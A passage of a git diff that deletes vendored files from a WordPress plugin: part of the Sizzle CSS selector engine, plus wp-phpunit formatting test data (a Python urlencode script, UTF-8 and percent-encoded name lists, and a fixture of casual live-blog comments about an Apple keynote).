/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/, - CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/, - POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/, - PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/ - }, - - leftMatch: {}, - - attrMap: { - "class": "className", - "for": "htmlFor" - }, - - attrHandle: { - href: function( elem ) { - return elem.getAttribute( "href" ); - }, - type: function( elem ) { - return elem.getAttribute( "type" ); - } - }, - - relative: { - "+": function(checkSet, part){ - var isPartStr = typeof part === "string", - isTag = isPartStr && !rNonWord.test( part ), - isPartStrNotTag = isPartStr && !isTag; - - if ( isTag ) { - part = part.toLowerCase(); - } - - for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) { - if ( (elem = checkSet[i]) ) { - while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {} - - checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ? - elem || false : - elem === part; - } - } - - if ( isPartStrNotTag ) { - Sizzle.filter( part, checkSet, true ); - } - }, - - ">": function( checkSet, part ) { - var elem, - isPartStr = typeof part === "string", - i = 0, - l = checkSet.length; - - if ( isPartStr && !rNonWord.test( part ) ) { - part = part.toLowerCase(); - - for ( ; i < l; i++ ) { - elem = checkSet[i]; - - if ( elem ) { - var parent = elem.parentNode; - checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false; - } - } - - } else { - for ( ; i < l; i++ ) { - elem = checkSet[i]; - - if ( elem ) { - checkSet[i] = isPartStr ? - elem.parentNode : - elem.parentNode === part; - } - } - - if ( isPartStr ) { - Sizzle.filter( part, checkSet, true ); - } - } - }, - - "": function(checkSet, part, isXML){ - var nodeCheck, - doneName = done++, - checkFn = dirCheck; - - if ( typeof part === "string" && !rNonWord.test( part ) ) { - part = part.toLowerCase(); - nodeCheck = part; - checkFn = dirNodeCheck; - } - - checkFn( "parentNode", part, doneName, checkSet, nodeCheck, isXML ); - }, - - "~": function( checkSet, part, isXML ) { - var nodeCheck, - doneName = done++, - checkFn = dirCheck; - - if ( typeof part === "string" && !rNonWord.test( part ) ) { - part = part.toLowerCase(); - nodeCheck = part; - checkFn = dirNodeCheck; - } - - checkFn( "previousSibling", part, doneName, checkSet, nodeCheck, isXML ); - } - }, - - find: { - ID: function( match, context, isXML ) { - if ( typeof context.getElementById !== "undefined" && !isXML ) { - var m = context.getElementById(match[1]); - // Check parentNode to catch when Blackberry 4.6 returns - // nodes that are no longer in the document #6963 - return m && m.parentNode ? [m] : []; - } - }, - - NAME: function( match, context ) { - if ( typeof context.getElementsByName !== "undefined" ) { - var ret = [], - results = context.getElementsByName( match[1] ); - - for ( var i = 0, l = results.length; i < l; i++ ) { - if ( results[i].getAttribute("name") === match[1] ) { - ret.push( results[i] ); - } - } - - return ret.length === 0 ? null : ret; - } - }, - - TAG: function( match, context ) { - if ( typeof context.getElementsByTagName !== "undefined" ) { - return context.getElementsByTagName( match[1] ); - } - } - }, - preFilter: { - CLASS: function( match, curLoop, inplace, result, not, isXML ) { - match = " " + match[1].replace( rBackslash, "" ) + " "; - - if ( isXML ) { - return match; - } - - for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) { - if ( elem ) { - if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n\r]/g, " ").indexOf(match) >= 0) ) { - if ( !inplace ) { - result.push( elem ); - } - - } else if ( inplace ) { - curLoop[i] = false; - } - } - } - - return false; - }, - - ID: function( match ) { - return match[1].replace( rBackslash, "" ); - }, - - TAG: function( match, curLoop ) { - return match[1].replace( rBackslash, "" ).toLowerCase(); - }, - - CHILD: function( match ) { - if ( match[1] === "nth" ) { - if ( !match[2] ) { - Sizzle.error( match[0] ); - } - - match[2] = match[2].replace(/^\+|\s*/g, ''); - - // parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6' - var test = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec( - match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" || - !/\D/.test( match[2] ) && "0n+" + match[2] || match[2]); - - // calculate the numbers (first)n+(last) including if they are negative - match[2] = (test[1] + (test[2] || 1)) - 0; - match[3] = test[3] - 0; - } - else if ( match[2] ) { - Sizzle.error( match[0] ); - } - - // TODO: Move to normal caching system - match[0] = done++; - - return match; - }, - - ATTR: function( match, curLoop, inplace, result, not, isXML ) { - var name = match[1] = match[1].replace( rBackslash, "" ); - - if ( !isXML && Expr.attrMap[name] ) { - match[1] = Expr.attrMap[name]; - } - - // Handle if an un-quoted value was used - match[4] = ( match[4] || match[5] || "" ).replace( rBackslash, "" ); - - if ( match[2] === "~=" ) { - match[4] = " " + match[4] + " "; - } - - return match; - }, - - PSEUDO: function( match, curLoop, inplace, result, not ) { - if ( match[1] === "not" ) { - // If we're dealing with a complex expression, or a simple one - if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) { - match[3] = Sizzle(match[3], null, null, curLoop); - - } else { - var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not); - - if ( !inplace ) { - result.push.apply( result, ret ); - } - - return false; - } - - } else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) { - return true; - } - - return match; - }, - - POS: function( match ) { - match.unshift( true ); - - return match; - } - }, - - filters: { - enabled: function( elem ) { - return elem.disabled === false && elem.type !== "hidden"; - }, - - disabled: function( elem ) { - return elem.disabled === true; - }, - - checked: function( elem ) { - return elem.checked === true; - }, - - selected: function( elem ) { - // Accessing this property makes selected-by-default - // options in Safari work properly - if ( elem.parentNode ) { - elem.parentNode.selectedIndex; - } - - return elem.selected === true; - }, - - parent: function( elem ) { - return !!elem.firstChild; - }, - - empty: function( elem ) { - return !elem.firstChild; - }, - - has: function( elem, i, match ) { - return !!Sizzle( match[3], elem ).length; - }, - - header: function( elem ) { - return (/h\d/i).test( elem.nodeName ); - }, - - text: function( elem ) { - var attr = elem.getAttribute( "type" ), type = elem.type; - // IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc) - // use getAttribute instead to test this case - return elem.nodeName.toLowerCase() === "input" && "text" === type && ( attr === type || attr === null ); - }, - - radio: function( elem ) { - return elem.nodeName.toLowerCase() === "input" && "radio" === elem.type; - }, - - checkbox: function( elem ) { - return elem.nodeName.toLowerCase() === "input" && "checkbox" === elem.type; - }, - - file: function( elem ) { - return elem.nodeName.toLowerCase() === "input" && "file" === elem.type; - }, - - password: function( elem ) { - return elem.nodeName.toLowerCase() === "input" && "password" === elem.type; - }, - - submit: function( elem ) { - var name = elem.nodeName.toLowerCase(); - return (name === "input" || name === "button") && "submit" === elem.type; - }, - - image: function( elem ) { - return elem.nodeName.toLowerCase() === "input" && "image" === elem.type; - }, - - reset: function( elem ) { - var name = elem.nodeName.toLowerCase(); - return (name === "input" || name === "button") && "reset" === elem.type; - }, - - button: function( elem ) { - var name = elem.nodeName.toLowerCase(); - return name === "input" && "button" === elem.type || name === "button"; - }, - - input: function( elem ) { - return (/input|select|textarea|button/i).test( elem.nodeName ); - }, - - focus: function( elem ) { - return elem === elem.ownerDocument.activeElement; - } - }, - setFilters: { - first: function( elem, i ) { - return i === 0; - }, - - last: function( elem, i, match, array ) { - return i === array.length - 1; - }, - - even: function( elem, i ) { - return i % 2 === 0; - }, - - odd: function( elem, i ) { - return i % 2 === 1; - }, - - lt: function( elem, i, match ) { - return i < match[3] - 0; - }, - - gt: function( elem, i, match ) { - return i > match[3] - 0; - }, - - nth: function( elem, i, match ) { - return match[3] - 0 === i; - }, - - eq: function( elem, i, match ) { - return match[3] - 0 === i; - } - }, - filter: { - PSEUDO: function( elem, match, i, array ) { - var name = match[1], - filter = Expr.filters[ name ]; - - if ( filter ) { - return filter( elem, i, match, array ); - - } else if ( name === "contains" ) { - return (elem.textContent || elem.innerText || getText([ elem ]) || "").indexOf(match[3]) >= 0; - - } else if ( name === "not" ) { - var not = match[3]; - - for ( var j = 0, l = not.length; j < l; j++ ) { - if ( not[j] === elem ) { - return false; - } - } - - return true; - - } else { - Sizzle.error( name ); - } - }, - - CHILD: function( elem, match ) { - var first, last, - doneName, parent, cache, - count, diff, - type = match[1], - node = elem; - - switch ( type ) { - case "only": - case "first": - while ( (node = node.previousSibling) ) { - if ( node.nodeType === 1 ) { - return false; - } - } - - if ( type === "first" ) { - return true; - } - - node = elem; - - /* falls through */ - case "last": - while ( (node = node.nextSibling) ) { - if ( node.nodeType === 1 ) { - return false; - } - } - - return true; - - case "nth": - first = match[2]; - last = match[3]; - - if ( first === 1 && last === 0 ) { - return true; - } - - doneName = match[0]; - parent = elem.parentNode; - - if ( parent && (parent[ expando ] !== doneName || !elem.nodeIndex) ) { - count = 0; - - for ( node = parent.firstChild; node; node = node.nextSibling ) { - if ( node.nodeType === 1 ) { - node.nodeIndex = ++count; - } - } - - parent[ expando ] = doneName; - } - - diff = elem.nodeIndex - last; - - if ( first === 0 ) { - return diff === 0; - - } else { - return ( diff % first === 0 && diff / first >= 0 ); - } - } - }, - - ID: function( elem, match ) { - return elem.nodeType === 1 && elem.getAttribute("id") === match; - }, - - TAG: function( elem, match ) { - return (match === "*" && elem.nodeType === 1) || !!elem.nodeName && elem.nodeName.toLowerCase() === match; - }, - - CLASS: function( elem, match ) { - return (" " + (elem.className || elem.getAttribute("class")) + " ") - .indexOf( match ) > -1; - }, - - ATTR: function( elem, match ) { - var name = match[1], - result = Sizzle.attr ? - Sizzle.attr( elem, name ) : - Expr.attrHandle[ name ] ? - Expr.attrHandle[ name ]( elem ) : - elem[ name ] != null ? - elem[ name ] : - elem.getAttribute( name ), - value = result + "", - type = match[2], - check = match[4]; - - return result == null ? - type === "!=" : - !type && Sizzle.attr ? - result != null : - type === "=" ? - value === check : - type === "*=" ? - value.indexOf(check) >= 0 : - type === "~=" ? - (" " + value + " ").indexOf(check) >= 0 : - !check ? - value && result !== false : - type === "!=" ? - value !== check : - type === "^=" ? - value.indexOf(check) === 0 : - type === "$=" ? - value.substr(value.length - check.length) === check : - type === "|=" ? - value === check || value.substr(0, check.length + 1) === check + "-" : - false; - }, - - POS: function( elem, match, i, array ) { - var name = match[2], - filter = Expr.setFilters[ name ]; - - if ( filter ) { - return filter( elem, i, match, array ); - } - } - } -}; - -var origPOS = Expr.match.POS, - fescape = function(all, num){ - return "\\" + (num - 0 + 1); - }; - -for ( var type in Expr.match ) { - Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) ); - Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) ); -} -// Expose origPOS -// "global" as in regardless of relation to brackets/parens -Expr.match.globalPOS = origPOS; - -var makeArray = function( array, results ) { - array = Array.prototype.slice.call( array, 0 ); - - if ( results ) { - results.push.apply( results, array ); - return results; - } - - return array; -}; - -// Perform a simple check to determine if the browser is capable of -// converting a NodeList to an array using builtin methods. -// Also verifies that the returned array holds DOM nodes -// (which is not the case in the Blackberry browser) -try { - Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType; - -// Provide a fallback method if it does not work -} catch( e ) { - makeArray = function( array, results ) { - var i = 0, - ret = results || []; - - if ( toString.call(array) === "[object Array]" ) { - Array.prototype.push.apply( ret, array ); - - } else { - if ( typeof array.length === "number" ) { - for ( var l = array.length; i < l; i++ ) { - ret.push( array[i] ); - } - - } else { - for ( ; array[i]; i++ ) { - ret.push( array[i] ); - } - } - } - - return ret; - }; -} - -var sortOrder, siblingCheck; - -if ( document.documentElement.compareDocumentPosition ) { - sortOrder = function( a, b ) { - if ( a === b ) { - hasDuplicate = true; - return 0; - } - - if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) { - return a.compareDocumentPosition ? -1 : 1; - } - - return a.compareDocumentPosition(b) & 4 ? -1 : 1; - }; - -} else { - sortOrder = function( a, b ) { - // The nodes are identical, we can exit early - if ( a === b ) { - hasDuplicate = true; - return 0; - - // Fallback to using sourceIndex (in IE) if it's available on both nodes - } else if ( a.sourceIndex && b.sourceIndex ) { - return a.sourceIndex - b.sourceIndex; - } - - var al, bl, - ap = [], - bp = [], - aup = a.parentNode, - bup = b.parentNode, - cur = aup; - - // If the nodes are siblings (or identical) we can do a quick check - if ( aup === bup ) { - return siblingCheck( a, b ); - - // If no parents were found then the nodes are disconnected - } else if ( !aup ) { - return -1; - - } else if ( !bup ) { - return 1; - } - - // Otherwise they're somewhere else in the tree so we need - // to build up a full list of the parentNodes for comparison - while ( cur ) { - ap.unshift( cur ); - cur = cur.parentNode; - } - - cur = bup; - - while ( cur ) { - bp.unshift( cur ); - cur = cur.parentNode; - } - - al = ap.length; - bl = bp.length; - - // Start walking down the tree looking for a discrepancy - for ( var i = 0; i < al && i < bl; i++ ) { - if ( ap[i] !== bp[i] ) { - return siblingCheck( ap[i], bp[i] ); - } - } - - // We ended someplace up the tree so do a sibling check - return i === al ? - siblingCheck( a, bp[i], -1 ) : - siblingCheck( ap[i], b, 1 ); - }; - - siblingCheck = function( a, b, ret ) { - if ( a === b ) { - return ret; - } - - var cur = a.nextSibling; - - while ( cur ) { - if ( cur === b ) { - return -1; - } - - cur = cur.nextSibling; - } - - return 1; - }; -} - -// Check to see if the browser returns elements by name when -// querying by getElementById (and provide a workaround) -(function(){ - // We're going to inject a fake input element with a specified name - var form = document.createElement("div"), - id = "script" + (new Date()).getTime(), - root = document.documentElement; - - form.innerHTML = ""; - - // Inject it into the root element, check its status, and remove it quickly - root.insertBefore( form, root.firstChild ); - - // The workaround has to do additional checks after a getElementById - // Which slows things down for other browsers (hence the branching) - if ( document.getElementById( id ) ) { - Expr.find.ID = function( match, context, isXML ) { - if ( typeof context.getElementById !== "undefined" && !isXML ) { - var m = context.getElementById(match[1]); - - return m ? - m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ? - [m] : - undefined : - []; - } - }; - - Expr.filter.ID = function( elem, match ) { - var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id"); - - return elem.nodeType === 1 && node && node.nodeValue === match; - }; - } - - root.removeChild( form ); - - // release memory in IE - root = form = null; -})(); - -(function(){ - // Check to see if the browser returns only elements - // when doing getElementsByTagName("*") - - // Create a fake element - var div = document.createElement("div"); - div.appendChild( document.createComment("") ); - - // Make sure no comments are found - if ( div.getElementsByTagName("*").length > 0 ) { - Expr.find.TAG = function( match, context ) { - var results = context.getElementsByTagName( match[1] ); - - // Filter out possible comments - if ( match[1] === "*" ) { - var tmp = []; - - for ( var i = 0; results[i]; i++ ) { - if ( results[i].nodeType === 1 ) { - tmp.push( results[i] ); - } - } - - results = tmp; - } - - return results; - }; - } - - // Check to see if an attribute returns normalized href attributes - div.innerHTML = ""; - - if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" && - div.firstChild.getAttribute("href") !== "#" ) { - - Expr.attrHandle.href = function( elem ) { - return elem.getAttribute( "href", 2 ); - }; - } - - // release memory in IE - div = null; -})(); - -if ( document.querySelectorAll ) { - (function(){ - var oldSizzle = Sizzle, - div = document.createElement("div"), - id = "__sizzle__"; - - div.innerHTML = "

          "; - - // Safari can't handle uppercase or unicode characters when - // in quirks mode. - if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) { - return; - } - - Sizzle = function( query, context, extra, seed ) { - context = context || document; - - // Only use querySelectorAll on non-XML documents - // (ID selectors don't work in non-HTML documents) - if ( !seed && !Sizzle.isXML(context) ) { - // See if we find a selector to speed up - var match = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec( query ); - - if ( match && (context.nodeType === 1 || context.nodeType === 9) ) { - // Speed-up: Sizzle("TAG") - if ( match[1] ) { - return makeArray( context.getElementsByTagName( query ), extra ); - - // Speed-up: Sizzle(".CLASS") - } else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) { - return makeArray( context.getElementsByClassName( match[2] ), extra ); - } - } - - if ( context.nodeType === 9 ) { - // Speed-up: Sizzle("body") - // The body element only exists once, optimize finding it - if ( query === "body" && context.body ) { - return makeArray( [ context.body ], extra ); - - // Speed-up: Sizzle("#ID") - } else if ( match && match[3] ) { - var elem = context.getElementById( match[3] ); - - // Check parentNode to catch when Blackberry 4.6 returns - // nodes that are no longer in the document #6963 - if ( elem && elem.parentNode ) { - // Handle the case where IE and Opera return items - // by name instead of ID - if ( elem.id === match[3] ) { - return makeArray( [ elem ], extra ); - } - - } else { - return makeArray( [], extra ); - } - } - - try { - return makeArray( context.querySelectorAll(query), extra ); - } catch(qsaError) {} - - // qSA works strangely on Element-rooted queries - // We can work around this by specifying an extra ID on the root - // and working up from there (Thanks to Andrew Dupont for the technique) - // IE 8 doesn't work on object elements - } else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) { - var oldContext = context, - old = context.getAttribute( "id" ), - nid = old || id, - hasParent = context.parentNode, - relativeHierarchySelector = /^\s*[+~]/.test( query ); - - if ( !old ) { - context.setAttribute( "id", nid ); - } else { - nid = nid.replace( /'/g, "\\$&" ); - } - if ( relativeHierarchySelector && hasParent ) { - context = context.parentNode; - } - - try { - if ( !relativeHierarchySelector || hasParent ) { - return makeArray( context.querySelectorAll( "[id='" + nid + "'] " + query ), extra ); - } - - } catch(pseudoError) { - } finally { - if ( !old ) { - oldContext.removeAttribute( "id" ); - } - } - } - } - - return oldSizzle(query, context, extra, seed); - }; - - for ( var prop in oldSizzle ) { - Sizzle[ prop ] = oldSizzle[ prop ]; - } - - // release memory in IE - div = null; - })(); -} - -(function(){ - var html = document.documentElement, - matches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector; - - if ( matches ) { - // Check to see if it's possible to do matchesSelector - // on a disconnected node (IE 9 fails this) - var disconnectedMatch = !matches.call( document.createElement( "div" ), "div" ), - pseudoWorks = false; - - try { - // This should fail with an exception - // Gecko does not error, returns false instead - matches.call( document.documentElement, "[test!='']:sizzle" ); - - } catch( pseudoError ) { - pseudoWorks = true; - } - - Sizzle.matchesSelector = function( node, expr ) { - // Make sure that attribute selectors are quoted - expr = expr.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']"); - - if ( !Sizzle.isXML( node ) ) { - try { - if ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) { - var ret = matches.call( node, expr ); - - // IE 9's matchesSelector returns false on disconnected nodes - if ( ret || !disconnectedMatch || - // As well, disconnected nodes are said to be in a document - // fragment in IE 9, so check for that - node.document && node.document.nodeType !== 11 ) { - return ret; - } - } - } catch(e) {} - } - - return Sizzle(expr, null, null, [node]).length > 0; - }; - } -})(); - -(function(){ - var div = document.createElement("div"); - - div.innerHTML = "
          "; - - // Opera can't find a second classname (in 9.6) - // Also, make sure that getElementsByClassName actually exists - if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) { - return; - } - - // Safari caches class attributes, doesn't catch changes (in 3.2) - div.lastChild.className = "e"; - - if ( div.getElementsByClassName("e").length === 1 ) { - return; - } - - Expr.order.splice(1, 0, "CLASS"); - Expr.find.CLASS = function( match, context, isXML ) { - if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) { - return context.getElementsByClassName(match[1]); - } - }; - - // release memory in IE - div = null; -})(); - -function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { - for ( var i = 0, l = checkSet.length; i < l; i++ ) { - var elem = checkSet[i]; - - if ( elem ) { - var match = false; - - elem = elem[dir]; - - while ( elem ) { - if ( elem[ expando ] === doneName ) { - match = checkSet[elem.sizset]; - break; - } - - if ( elem.nodeType === 1 && !isXML ){ - elem[ expando ] = doneName; - elem.sizset = i; - } - - if ( elem.nodeName.toLowerCase() === cur ) { - match = elem; - break; - } - - elem = elem[dir]; - } - - checkSet[i] = match; - } - } -} - -function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { - for ( var i = 0, l = checkSet.length; i < l; i++ ) { - var elem = checkSet[i]; - - if ( elem ) { - var match = false; - - elem = elem[dir]; - - while ( elem ) { - if ( elem[ expando ] === doneName ) { - match = checkSet[elem.sizset]; - break; - } - - if ( elem.nodeType === 1 ) { - if ( !isXML ) { - elem[ expando ] = doneName; - elem.sizset = i; - } - - if ( typeof cur !== "string" ) { - if ( elem === cur ) { - match = true; - break; - } - - } else if ( Sizzle.filter( cur, [elem] ).length > 0 ) { - match = elem; - break; - } - } - - elem = elem[dir]; - } - - checkSet[i] = match; - } - } -} - -if ( document.documentElement.contains ) { - Sizzle.contains = function( a, b ) { - return a !== b && (a.contains ? a.contains(b) : true); - }; - -} else if ( document.documentElement.compareDocumentPosition ) { - Sizzle.contains = function( a, b ) { - return !!(a.compareDocumentPosition(b) & 16); - }; - -} else { - Sizzle.contains = function() { - return false; - }; -} - -Sizzle.isXML = function( elem ) { - // documentElement is verified for cases where it doesn't yet exist - // (such as loading iframes in IE - #4833) - var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement; - - return documentElement ? documentElement.nodeName !== "HTML" : false; -}; - -var posProcess = function( selector, context, seed ) { - var match, - tmpSet = [], - later = "", - root = context.nodeType ? [context] : context; - - // Position selectors must be done after the filter - // And so must :not(positional) so we move all PSEUDOs to the end - while ( (match = Expr.match.PSEUDO.exec( selector )) ) { - later += match[0]; - selector = selector.replace( Expr.match.PSEUDO, "" ); - } - - selector = Expr.relative[selector] ? selector + "*" : selector; - - for ( var i = 0, l = root.length; i < l; i++ ) { - Sizzle( selector, root[i], tmpSet, seed ); - } - - return Sizzle.filter( later, tmpSet ); -}; - -// EXPOSE - -window.Sizzle = Sizzle; - -})(); \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/README b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/README deleted file mode 100644 index 5bc6a317..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/README +++ /dev/null @@ -1,15 +0,0 @@ -The Python scripts are for generating test data, because Python's Unicode -support is much, much, much, much better than PHP's. - - * `utf-8/urlencode.py`, `utf-8/u-urlencode.py` and `utf-8/entitize.py` process UTF-8 - into a few different formats (%-encoding, %u-encoding, &#decimal;) - and are used like normal UNIXy pipes. - - Try: - - `python urlencode.py < utf-8.txt > urlencoded.txt` - `python u-urlencode.py < utf-8.txt > u-urlencoded.txt` - `python entitize.py < utf-8.txt > entitized.txt` - - * `windows-1252.py` converts Windows-only smart-quotes and things - into their unicode &#decimal reference; equivalents. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/urlencode.py b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/urlencode.py deleted file mode 100644 index 910b796f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/urlencode.py +++ /dev/null @@ -1,33 +0,0 @@ -# Generates urlencoded.txt from utf-8.txt -# -# urlencoded.txt is used by Tests_Formatting_Utf8UriEncode - -import urllib, codecs, re -import sys - -# uncapitalize pct-encoded values, leave the rest alone -capfix = re.compile("%([0-9A-Z]{2})"); -def fix(match): - octet = match.group(1) - intval = int(octet, 16) - if intval < 128: - return chr(intval).lower() - return '%' + octet.lower() - -def urlencode(line): - """Percent-encode each byte of non-ASCII unicode characters.""" - line = urllib.quote(line.strip().encode("utf-8")) - line = capfix.sub(fix, line) - return line - -if __name__ == "__main__": - args = sys.argv[1:] - if args and args[0] in ("-h", "--help"): - print "Usage: python urlencode.py < utf-8.txt > urlencoded.txt" - sys.exit(2) - - sys.stdin = codecs.getreader("utf-8")(sys.stdin) - sys.stdout = codecs.getwriter("ascii")(sys.stdout) - - lines = sys.stdin.readlines() - sys.stdout.write( "\n".join(map(urlencode, lines)) ) diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/urlencoded.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/urlencoded.txt deleted file mode 100644 index 48a642ec..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/urlencoded.txt +++ /dev/null @@ -1,6 +0,0 @@ -%e7%ab%a0%e5%ad%90%e6%80%a1 -Fran%c3%a7ois Truffaut -%e1%83%a1%e1%83%90%e1%83%a5%e1%83%90%e1%83%a0%e1%83%97%e1%83%95%e1%83%94%e1%83%9a%e1%83%9d -Bj%c3%b6rk Gu%c3%b0mundsd%c3%b3ttir -%e5%ae%ae%e5%b4%8e%e3%80%80%e9%a7%bf -%f0%9f%91%8d \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/utf-8.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/utf-8.txt deleted file mode 100644 index aaedae7c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/utf-8.txt +++ /dev/null @@ -1,6 +0,0 @@ -ç« å­æ€¡ -François Truffaut -სáƒáƒ¥áƒáƒ áƒ—ველრ-Björk Guðmundsdóttir -宮崎 駿 -👠diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/whole-posts.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/whole-posts.php deleted file mode 100644 index 3a4f13c6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/whole-posts.php +++ /dev/null @@ -1,1282 +0,0 @@ - -

          ARE YOU READY PHIL!?

          - -

          Music is streaming -Tom Merritt on twitter: Apple has made their first announcement "Please turn electronic devices to silent." Does this meet expectations? -I AM READY! -"It\'s all better now" does that mean something?more

          - -

          I WISH I HAD MONEY TO GIVE APPLE!

          - -

          IT STARTED

          - -

          Apple has patented the period!

          - -

          Hi Aaron! -You can complain now!

          - -

          Finally! -Two of you!

          - - -

          I\'ve seen this video before. It\'s good but I really wanted a new one.

          - -

          OH MY GO.... oh it\'s just Tim Cook

          - -

          They probably paid more for that video than Phil’s yearly salary.

          - -

          Flower petals!

          - -

          Thanks Bob.

          - -

          BRING BACK THE FLOWER POWER IMACS!

          - -

          PRODUCTS HE SAID PRODUCTS PLURAL! -But first, I have a lot of large numbers to show you!

          - -

          Take a drink!

          - -

          Amazing 5C. Which no one is buying.

          - -

          STUNNING

          - -

          Should be “formerly of the Wall Street Journal”. -I also hope they bring up Pogue.

          - -

          Hey made a new video for you Aaron!

          - -

          They should just play an old video.

          - -

          Slide called video before the video.

          - -

          I want a glass dodecahedron.

          - -

          Look at all these happy people who are touching our products? Don\'t you want to be happy?

          - -

          This better all be shot on an iPhone

          - -

          “Shot on Film”

          - -

          The Chinese are a happy people, when you give them iPhones

          - -

          I’d be happy too if I had the money to blow on an unsubsidized iPhone 5s. -Or eight.

          - -

          Look, this guy bought 5 of them!

          - -

          That guy bought up cases ... I hope the employees laughed at him.

          - -

          He CAN speak for everyone at apple.

          - -

          The cut at the end to the logo tag was awkward.

          - -

          Hundreds of millions of customers.

          - -

          “Formerly of the New York Times”

          - -

          MORE BIG NUMBERS!!

          - -

          I wish they put all of the zeroes on the screen. -Then we could add up all of the zeroes. -That is pretty stunning. We still have Windows XP running here.

          - -

          Apple should be running the gov healthcare website.

          - -

          No one wants to run that piece of junk.

          - -

          He seems a little under prepared... is he excited or did he only practice this 12 times?

          - -

          Apple is hopefully smart enough to stay out of government. -“Thar be dragons!”

          - -

          "After we paid him a hundred thousand dollars to say that..."

          - -

          I’d do it for half that.

          - -

          ANOTHER BIG NUMBER!

          - -

          Not enough zeroes.

          - -

          A SINGLE DIGIT BIG NUMBER!

          - -

          There we go ... nine zeroes!

          - -

          6 Zeros! -10 Zeroes! -STAGGERING!

          - -

          Personally, I love the fact that Apple is thumbing their nose at all of the graphic designers out there by continuing to use those icons.

          - -

          9 more zeroes! -Phenomenal!

          - -

          Take a drink for each zero?

          - -

          Can I get checks with the Apple logo on them? For all my apple purchases...

          - -

          How soon until you die of alcohol poisoning? -LOL

          - -

          Dead

          - -

          I bet Tim has it. -And we’re giving Mavericks away for free today! Sorry Siracusa!

          - -

          Was Tim around at the beginning? How does he know that that has always been the single purpose?

          - -

          Heh. -I think Steve probably left him a note in his desk.

          - -

          What\'s wrong with the slides?

          - -

          Ooooo.... competition! Take a drink.

          - -

          “Dear Tim, this is what Apple is about.”

          - -

          I\'d hit that.

          - -

          Lots if weird shapes dimming over the slides

          - -

          Its a feature.

          - -

          A feabug! -YES! -CRAIG!

          - -

          YAY CRAIG!!! Who\'s Craig? -HAIR FORCE ONE!!

          - -

          10 10

          - -

          I like the fact that he owns up to the fact that his hair is greying. -He’s like “I have grey hair ... so I’m going to have a ton of it.”

          - -

          Smooth the Mac experience.

          - -

